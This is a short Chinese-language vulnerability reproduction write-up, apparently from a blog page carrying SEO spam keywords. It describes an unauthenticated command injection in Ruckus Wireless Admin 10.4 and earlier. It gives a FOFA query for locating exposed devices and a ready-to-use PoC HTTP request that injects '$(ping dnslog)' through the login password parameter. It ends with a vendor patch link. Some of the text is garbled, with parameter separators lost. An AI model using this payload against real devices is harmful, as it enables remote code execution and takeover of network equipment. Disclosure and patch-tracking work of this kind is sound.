网站seo在线诊断,驰业网站建设,网站静态和动态,国内知名网站建设排名0x01 产品简介
Ruckus Wireless Admin是ruckuswireless多个路由、硬件设备的后台管理系统。
0x02 漏洞概述
Ruckus Wireless Admin在10.4 及更早版本存在命令执行漏洞。攻击者可通过该漏洞在服务器端任意执行代码#xff0c;写入后门#xff0c;获取服务器权限#xff0c…0x01 产品简介
Ruckus Wireless Admin是ruckuswireless多个路由、硬件设备的后台管理系统。
0x02 漏洞概述
Ruckus Wireless Admin在10.4 及更早版本存在命令执行漏洞。攻击者可通过该漏洞在服务器端任意执行代码写入后门获取服务器权限进而控制整个web服务器。
0x03 复现环境
FOFAappRuckus-Wireless 0x04 漏洞复现
PoC
GET /forms/doLogin?login_usernameadminpasswordpassword$(pingdnslog)x0y0 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
dnslog验证 0x05 修复建议
厂商已发布了漏洞修复程序请及时关注更新https://support.ruckuswireless.com/security_bulletins/315
